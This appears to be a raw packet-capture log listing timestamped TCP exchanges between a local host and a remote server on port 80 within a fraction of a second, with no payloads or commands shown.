Jul 24, 2024 02:39:12.189929008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.189974070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.189980030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190013885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190020084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190047026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190052032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190078020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190079927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190109968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190119982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190144062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190146923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190177917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190182924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190210104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190217018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190243959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190251112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190277100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190279961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190310001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190315962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190340042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190346956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190373898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190378904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190407038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190412045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190439939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190444946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190474033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190479040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190506935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190512896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190541983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190548897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190576077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190581083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190609932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190614939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190644026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190649986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190685987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190896034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190946102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.190947056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190980911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.190988064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191015005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191016912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191046953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191054106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191081047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191092968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191114902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191123962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191148043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191157103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191180944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191189051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191215038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191217899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191247940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191250086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191282988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191284895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191315889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191322088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191349983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191354990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191382885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191386938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191416025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191421032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191450119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191457987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191483974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191488028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191518068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191523075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191551924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191557884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191585064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191589117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191622019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191623926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191659927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191844940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191889048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191895962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191929102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191929102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191962957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.191968918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.191996098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192003012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192029953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192034960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192063093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192065954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192096949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192101002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192131042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192136049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192164898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192172050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192199945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192202091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192234039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192240953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192266941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192270041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192296982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192303896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192329884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192336082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192364931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192368984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192399979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192404985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192435026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192439079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192466974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192472935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192507029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192522049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192555904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192559004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192589998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192595005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192627907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192881107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192914963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192925930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192949057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192958117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.192985058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.192987919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193017960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193025112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193053007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193057060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193087101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193089962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193120003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193129063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193155050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193159103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193188906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193195105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193223953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193228006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193258047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193264008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193289995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193295956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193324089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193326950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193353891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193365097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193391085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193397045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193424940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193429947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193459034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193466902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193487883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193494081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193526983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193533897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193561077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193567038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193613052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193620920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193655968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193811893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193845987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193854094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193878889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193885088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193912983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193917036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193947077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193950891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.193980932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.193984985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194009066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194021940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194042921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194048882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194076061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194080114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194104910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194116116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194138050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194144964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194173098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194178104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194205999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194211960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194242001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194245100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194272995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194283009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194307089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194310904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194339991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194345951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194374084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194379091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194406033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194412947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194441080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194446087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194473982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194479942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194508076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194514036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194538116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194554090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194571018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194576979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194613934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194756031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194788933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194796085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194823027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194827080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194856882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194860935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194890976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194894075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194922924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194924116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194957972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194961071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.194992065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.194999933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195022106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195038080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195055008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195061922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195087910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195095062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195121050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195131063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195162058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195163965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195194006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195286989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195321083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195327997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195354939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195360899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195389032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195395947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195420027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195429087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195453882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195461988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195487976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195492029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195522070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195525885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195559978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195561886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195594072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195599079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195626974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195632935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195660114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195666075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195689917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195698023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195723057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195725918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195755005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195763111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195787907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195796967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195820093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195825100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195848942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195858955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195883036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195894003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195921898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195923090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195955992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195962906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.195988894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.195998907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196022034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196027040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196054935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196060896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196086884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196096897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196125031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196228981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196273088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196280003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196314096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196321964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196347952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196353912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196382046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196391106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196415901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196422100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196449041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196455956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196501970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196516037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196536064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196541071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196571112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196578979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196623087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196625948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196657896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196665049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196691990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196697950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196726084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196731091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196759939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196765900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196794033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196804047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.196830988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.196835041 CEST	49731	80	192.168.2.4	77.91.77.81
